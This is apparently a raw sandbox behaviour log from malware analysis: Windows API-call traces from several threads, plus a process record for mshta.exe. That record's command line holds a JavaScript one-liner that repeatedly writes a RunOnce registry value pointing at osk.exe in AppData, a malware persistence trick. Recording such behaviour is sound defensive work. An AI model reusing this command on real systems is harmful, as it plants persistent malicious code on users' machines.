VirtualFree (lpAddress=0x65da000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.791] VirtualFree (lpAddress=0x65db000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.792] VirtualFree (lpAddress=0x65dc000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.792] VirtualFree (lpAddress=0x65dd000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.792] VirtualFree (lpAddress=0x65de000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.792] VirtualFree (lpAddress=0x65df000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.792] GetTickCount () returned 0x3c8fe [0244.792] RtlInterlockedPopEntrySList (in: ListHead=0x58ca0a0 | out: ListHead=0x58ca0a0) returned 0x0 [0244.793] RtlInterlockedPopEntrySList (in: ListHead=0x58ca080 | out: ListHead=0x58ca080) returned 0x0 [0244.793] VirtualFree (lpAddress=0x668f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0244.793] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x666fcbc*=0x4b0, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.377] malloc (_Size=0x30) returned 0x58c8378 [0249.377] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x88c0000 [0249.377] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x668b000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.377] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6689000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.377] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6681000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.377] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x667e000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x667d000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x667c000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x667b000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6678000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6677000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6676000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6674000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6670000, dwRegionSize=0x1000, lpAddresses=0x666fc1c, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20 | out: lpAddresses=0x666fc1c*=0x1, lpdwCount=0x666fc24, lpdwGranularity=0x666fc20) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x668c000, dwRegionSize=0x1000, lpAddresses=0x666fc04, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08 | out: lpAddresses=0x666fc04*=0x666fc1c, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x668a000, dwRegionSize=0x1000, lpAddresses=0x666fc04, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08 | out: lpAddresses=0x666fc04*=0x666fc1c, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6688000, dwRegionSize=0x1000, lpAddresses=0x666fc04, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08 | out: lpAddresses=0x666fc04*=0x666fc1c, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6687000, dwRegionSize=0x1000, lpAddresses=0x666fc04, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08 | out: lpAddresses=0x666fc04*=0x666fc1c, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6685000, dwRegionSize=0x1000, lpAddresses=0x666fc04, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08 | out: lpAddresses=0x666fc04*=0x666fc1c, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x6680000, dwRegionSize=0x1000, lpAddresses=0x666fc04, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08 | out: lpAddresses=0x666fc04*=0x666fc1c, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08) returned 0x0 [0249.378] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x667f000, dwRegionSize=0x1000, lpAddresses=0x666fc04, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08 | out: lpAddresses=0x666fc04*=0x666fc1c, lpdwCount=0x666fc0c, lpdwGranularity=0x666fc08) returned 0x0 [0249.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1928 | out: lpSystemTimeAsFileTime=0x58d1928*(dwLowDateTime=0xaf4af6df, dwHighDateTime=0x1d4f110)) [0249.378] SetEvent (hEvent=0x4ac) returned 1 [0249.378] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x666fcbc*=0x4b0, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.707] SetEvent (hEvent=0x4ac) returned 1 [0249.707] FreeLibraryAndExitThread (hLibModule=0x71620000, dwExitCode=0x0) [0249.707] GetCurrentThreadId () returned 0x9e4 Thread: id = 57 os_tid = 0x824 [0239.463] GetCurrentThreadId () returned 0x824 [0239.464] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\System32\\jscript9.dll", phModule=0x67cfbcc | out: phModule=0x67cfbcc*=0x71620000) returned 1 [0239.464] SetEvent (hEvent=0x4bc) returned 1 [0239.466] ResetEvent (hEvent=0x4b8) returned 1 [0239.466] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0x3e8) returned 0x102 [0241.036] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.709] SetEvent (hEvent=0x4bc) returned 1 [0249.709] FreeLibraryAndExitThread (hLibModule=0x71620000, dwExitCode=0x0) [0249.709] GetCurrentThreadId () returned 0x824 Thread: id = 58 os_tid = 0xea8 [0241.484] GetCurrentThreadId () returned 0xea8 [0241.484] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72a18920, phModule=0x698fd90 | out: phModule=0x698fd90*=0x726c0000) returned 1 [0241.484] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0241.484] GetTickCount () returned 0x3bc0e [0241.484] GetCurrentThreadId () returned 0xea8 [0241.484] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1006) returned 0x1027e50 [0241.485] memcpy_s (in: _Destination=0x1027e50, _DestinationSize=0x1000, _Source=0x10233ac, _SourceSize=0x2 | out: _Destination=0x1027e50) returned 0x0 [0241.485] GetCurrentThreadId () returned 0xea8 [0241.485] PostMessageW (hWnd=0x3020e, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0241.485] GetCurrentThreadId () returned 0xea8 [0241.485] GetCurrentThreadId () returned 0xea8 [0241.486] GetCurrentThreadId () returned 0xea8 [0241.486] memcpy_s (in: _Destination=0x4c0a2f0, _DestinationSize=0x2, _Source=0x1027e50, _SourceSize=0x2 | out: _Destination=0x4c0a2f0) returned 0x0 [0241.486] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x8, Size=0x108) returned 0x1028e60 [0241.486] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x8) returned 0x1003fa0 [0241.486] memcpy_s (in: _Destination=0x1003fa4, _DestinationSize=0x4, _Source=0x1027e50, _SourceSize=0x2 | out: _Destination=0x1003fa4) returned 0x0 [0241.486] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x4c18400*=0x4f0, lpdwindex=0x698fd74 | out: lpdwindex=0x698fd74) returned 0x0 [0241.489] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x4c18400*=0x4f0, lpdwindex=0x698fd74 | out: lpdwindex=0x698fd74) returned 0x0 [0241.611] GetTickCount () returned 0x3bc8b [0241.611] CoWaitForMultipleHandles (in: dwFlags=0x0, dwTimeout=0x927c0, cHandles=0x1, pHandles=0x4c18400*=0x4f0, lpdwindex=0x698fd74 | out: lpdwindex=0x698fd74) returned 0x0 [0249.549] CoUninitialize () [0249.551] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0249.552] GetCurrentThreadId () returned 0xea8 Thread: id = 61 os_tid = 0xf38 [0248.644] GetCurrentThreadId () returned 0xf38 [0249.542] GetCurrentThreadId () returned 0xf38 Process: id = "10" image_name = "mshta.exe" filename = "c:\\windows\\syswow64\\mshta.exe" page_root = "0x18e72000" os_pid = "0xd00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x6cc" cmd_line = "mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"" cur_dir = "C:\\Users\\FD1HVy\\AppData\\Roaming\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0xe38 [0251.345] GetProcessHeap () returned 0x9d0000 [0251.345] GetVersion () returned 0x3ad7000a [0251.345] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75e90000 [0251.345] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSetInformation") returned 0x75ea5850 [0251.345] HeapSetInformation (HeapHandle=0x9d0000, HeapInformationClass=0x0, HeapInformation=0x95f2e8, HeapInformationLength=0x4) returned 1 [0251.345] malloc (_Size=0x80) returned 0xdf21f0 [0251.346] GetCurrentProcess () returned 0xffffffff [0251.346] GetSystemInfo (in: lpSystemInfo=0x73881ad0 | out: lpSystemInfo=0x73881ad0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0251.346] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0251.346] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0251.346] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0251.346] VerifyVersionInfoW (in: lpVersionInformation=0x95eeec, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x95eeec) returned 1 [0251.346] GetLogicalProcessorInformation (in: Buffer=0x0, ReturnedLength=0x95f00c | out: Buffer=0x0, ReturnedLength=0x95f00c) returned 0 [0251.346] GetLastError () returned 0x7a [0251.346] GetProcessHeap () returned 0x9d0000 [0251.346] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0xf0) returned 0x9e39e0 [0251.346] GetLogicalProcessorInformation (in: Buffer=0x9e39e0, ReturnedLength=0x95f00c | out: Buffer=0x9e39e0, ReturnedLength=0x95f00c) returned 1 [0251.346] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9e39e0 | out: hHeap=0x9d0000) returned 1 [0251.346] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0x95f024, nSize=0x104 | out: lpBuffer="\x2d9c\x9e\x02") returned 0x0 [0251.347] __dllonexit () returned 0x72e23780 [0251.347] __dllonexit () returned 0x72e237a0 [0251.347] __dllonexit () returned 0x72e237b0 [0251.347] __dllonexit () returned 0x72e23770 [0251.347] __dllonexit () returned 0x72e237e0 [0251.348] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0xd90000 [0251.348] __dllonexit () returned 0x72e23790 [0251.348] GlobalMemoryStatusEx (in: lpBuffer=0x95f1e8 | out: lpBuffer=0x95f1e8) returned 1 [0251.348] __dllonexit () returned 0x72e23740 [0251.349] __dllonexit () returned 0x72e229b0 [0251.349] __dllonexit () returned 0x72e229c0 [0251.349] GetProcessHeap () returned 0x9d0000 [0251.349] __dllonexit () returned 0x72e23820 [0251.349] __dllonexit () returned 0x72e23830 [0251.349] __dllonexit () returned 0x72e23840 [0251.349] __dllonexit () returned 0x72e23850 [0251.349] __dllonexit () returned 0x72e229e0 [0251.349] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0f4 [0251.350] RegisterClipboardFormatW (lpszFormat="CF_RTF") returned 0xc0f4 [0251.350] __dllonexit () returned 0x72e22a00 [0251.350] __dllonexit () returned 0x72e22a20 [0251.350] __dllonexit () returned 0x72e22a40 [0251.351] __dllonexit () returned 0x72e22a60 [0251.351] __dllonexit () returned 0x72e22a90 [0251.351] __dllonexit () returned 0x72e22a70 [0251.351] __dllonexit () returned 0x72e22aa0 [0251.351] __dllonexit () returned 0x72e22a80 [0251.352] __dllonexit () returned 0x72e22a50 [0251.352] GlobalMemoryStatusEx (in: lpBuffer=0x95f1e8 | out: lpBuffer=0x95f1e8) returned 1 [0251.352] __dllonexit () returned 0x72e22ab0 [0251.352] __dllonexit () returned 0x72e22ac0 [0251.352] __dllonexit () returned 0x72e22ae0 [0251.352] __dllonexit () returned 0x72e22b00 [0251.352] __dllonexit () returned 0x72e22b20 [0251.352] __dllonexit () returned 0x72e22b40 [0251.352] __dllonexit () returned 0x72e22b60 [0251.354] __dllonexit () returned 0x72e22b80 [0251.355] QueryPerformanceFrequency (in: lpFrequency=0x95f228 | out: lpFrequency=0x95f228*=100000000) returned 1 [0251.355] __dllonexit () returned 0x72e22ba0 [0251.355] __dllonexit () returned 0x72e22bb0 [0251.355] __dllonexit () returned 0x72e22c20 [0251.355] __dllonexit () returned 0x72e22be0 [0251.355] __dllonexit () returned 0x72e22bf0 [0251.355] __dllonexit () returned 0x72e22c00 [0251.355] __dllonexit () returned 0x72e22c10 [0251.355] __dllonexit () returned 0x72e22bd0 [0251.355] __dllonexit () returned 0x72e22c30 [0251.355] __dllonexit () returned 0x72e22c50 [0251.356] __dllonexit () returned 0x72e22c40 [0251.356] __dllonexit () returned 0x72e22c70 [0251.356] __dllonexit () returned 0x72e22c90 [0251.356] __dllonexit () returned 0x72e22cb0 [0251.356] __dllonexit () returned 0x72e22cd0 [0251.356] __dllonexit () returned 0x72e22cf0 [0251.356] __dllonexit () returned 0x72e22d70 [0251.356] __dllonexit () returned 0x72e22d50 [0251.356] __dllonexit () returned 0x72e22d30 [0251.356] __dllonexit () returned 0x72e22d10 [0251.356] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f24c | out: ConditionVariable=0x7387f24c) [0251.357] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f25c | out: ConditionVariable=0x7387f25c) [0251.357] __dllonexit () returned 0x72e22d90 [0251.357] __dllonexit () returned 0x72e22db0 [0251.357] __dllonexit () returned 0x72e22dc0 [0251.357] __dllonexit () returned 0x72e22dd0 [0251.357] __dllonexit () returned 0x72e22df0 [0251.357] __dllonexit () returned 0x72e22e10 [0251.357] __dllonexit () returned 0x72e22e30 [0251.357] __dllonexit () returned 0x72e22e50 [0251.357] __dllonexit () returned 0x72e22e70 [0251.357] __dllonexit () returned 0x72e22e90 [0251.357] __dllonexit () returned 0x72e22eb0 [0251.358] __dllonexit () returned 0x72e22ec0 [0251.358] __dllonexit () returned 0x72e22ed0 [0251.358] __dllonexit () returned 0x72e22ee0 [0251.358] __dllonexit () returned 0x72e22ef0 [0251.358] __dllonexit () returned 0x72e22f10 [0251.358] __dllonexit () returned 0x72e22f20 [0251.358] __dllonexit () returned 0x72e22f30 [0251.358] __dllonexit () returned 0x72e22f50 [0251.358] __dllonexit () returned 0x72e22f70 [0251.358] __dllonexit () returned 0x72e22fb0 [0251.358] __dllonexit () returned 0x72e22fc0 [0251.358] __dllonexit () returned 0x72e23000 [0251.358] __dllonexit () returned 0x72e23010 [0251.359] __dllonexit () returned 0x72e23020 [0251.359] RtlInitializeConditionVariable (in: ConditionVariable=0x738899c0 | out: ConditionVariable=0x738899c0) [0251.359] __dllonexit () returned 0x72e23040 [0251.359] __dllonexit () returned 0x72e23090 [0251.359] __dllonexit () returned 0x72e23050 [0251.359] RtlInitializeConditionVariable (in: ConditionVariable=0x7387f3ec | out: ConditionVariable=0x7387f3ec) [0251.359] __dllonexit () returned 0x72e23070 [0251.359] __dllonexit () returned 0x72e23080 [0251.359] __dllonexit () returned 0x72e230c0 [0251.359] __dllonexit () returned 0x72e230a0 [0251.359] __dllonexit () returned 0x72e230d0 [0251.359] __dllonexit () returned 0x72e230f0 [0251.360] __dllonexit () returned 0x72e23110 [0251.360] RtlInitializeConditionVariable (in: ConditionVariable=0x738899ec | out: ConditionVariable=0x738899ec) [0251.360] __dllonexit () returned 0x72e23130 [0251.360] __dllonexit () returned 0x72e23150 [0251.360] __dllonexit () returned 0x72e23160 [0251.360] __dllonexit () returned 0x72e23170 [0251.360] __dllonexit () returned 0x72e23180 [0251.360] RtlInitializeConditionVariable (in: ConditionVariable=0x738899f0 | out: ConditionVariable=0x738899f0) [0251.360] __dllonexit () returned 0x72e23190 [0251.360] __dllonexit () returned 0x72e231b0 [0251.361] __dllonexit () returned 0x72e231c0 [0251.361] __dllonexit () returned 0x72e231d0 [0251.361] __dllonexit () returned 0x72e23230 [0251.361] __dllonexit () returned 0x72e23220 [0251.361] __dllonexit () returned 0x72e231f0 [0251.361] __dllonexit () returned 0x72e23210 [0251.361] __dllonexit () returned 0x72e23200 [0251.361] __dllonexit () returned 0x72e23240 [0251.361] __dllonexit () returned 0x72e23260 [0251.361] __dllonexit () returned 0x72e23280 [0251.362] MulDiv (nNumber=1073741823, nNumerator=384, nDenominator=1440) returned 286331153 [0251.362] __dllonexit () returned 0x72e23290 [0251.362] __dllonexit () returned 0x72e232b0 [0251.362] __dllonexit () returned 0x72e232a0 [0251.364] EtwEventRegister (in: ProviderId=0x72876f80, EnableCallback=0x72d432c0, CallbackContext=0x73760090, RegHandle=0x7388adc8 | out: RegHandle=0x7388adc8) returned 0x0 [0251.364] EtwEventRegister (in: ProviderId=0x72876f70, EnableCallback=0x72d432c0, CallbackContext=0x737601d8, RegHandle=0x73882180 | out: RegHandle=0x73882180) returned 0x0 [0251.364] EtwEventRegister (in: ProviderId=0x72876f60, EnableCallback=0x72d432c0, CallbackContext=0x7376af60, RegHandle=0x73882178 | out: RegHandle=0x73882178) returned 0x0 [0251.364] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0xbbf8) returned 0xd905a8 [0251.365] RtlInitializeSListHead (in: ListHead=0xd90608 | out: ListHead=0xd90608) [0251.365] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0x95f0e0 | out: phkResult=0x95f0e0*=0x0) returned 0x2 [0251.365] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\ChakraRecycler", ulOptions=0x0, samDesired=0x20019, phkResult=0x95f0e0 | out: phkResult=0x95f0e0*=0x0) returned 0x2 [0251.365] GetModuleHandleW (lpModuleName=0x0) returned 0x1320000 [0251.365] GetCurrentProcess () returned 0xffffffff [0251.365] GetCurrentProcess () returned 0xffffffff [0251.365] RtlInitializeSListHead (in: ListHead=0xd90798 | out: ListHead=0xd90798) [0251.365] RtlInitializeSListHead (in: ListHead=0xd907b8 | out: ListHead=0xd907b8) [0251.365] GetCurrentProcess () returned 0xffffffff [0251.365] RtlInitializeSListHead (in: ListHead=0xd90878 | out: ListHead=0xd90878) [0251.365] RtlInitializeSListHead (in: ListHead=0xd90898 | out: ListHead=0xd90898) [0251.365] GetCurrentProcess () returned 0xffffffff [0251.366] RtlInitializeSListHead (in: ListHead=0xd90958 | out: ListHead=0xd90958) [0251.366] RtlInitializeSListHead (in: ListHead=0xd90978 | out: ListHead=0xd90978) [0251.366] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x113c) returned 0xd9c1a8 [0251.366] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x113c) returned 0xd9d2f0 [0251.366] GetCurrentProcess () returned 0xffffffff [0251.366] GetCurrentProcess () returned 0xffffffff [0251.366] GetCurrentProcess () returned 0xffffffff [0251.366] GetCurrentProcess () returned 0xffffffff [0251.368] GetTickCount () returned 0x3e2a1 [0251.368] GetTickCount () returned 0x3e2a1 [0251.368] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x78) returned 0xd9e438 [0251.368] rand_s (in: _RandomValue=0x95f074 | out: _RandomValue=0x95f074) returned 0x0 [0251.369] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0xb10000 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e3fb0 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4170 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9dcef8 [0251.370] __dllonexit () returned 0x72e232e0 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e42b0 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e40f0 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9dceb0 [0251.370] __dllonexit () returned 0x72e232f0 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e42d0 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4190 [0251.370] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9dcfa0 [0251.370] __dllonexit () returned 0x72e232d0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e41d0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e41b0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e41f0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4210 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e40b0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4310 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e3ff0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e42f0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2668 [0251.371] __dllonexit () returned 0x72e23310 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4230 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4030 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4290 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4270 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e40d0 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4150 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4130 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4110 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2698 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4330 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4350 [0251.371] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4370 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e3fd0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4010 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4050 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4070 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4090 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2968 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4760 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4500 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4560 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4460 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4740 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e46e0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e47a0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e44e0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2938 [0251.372] 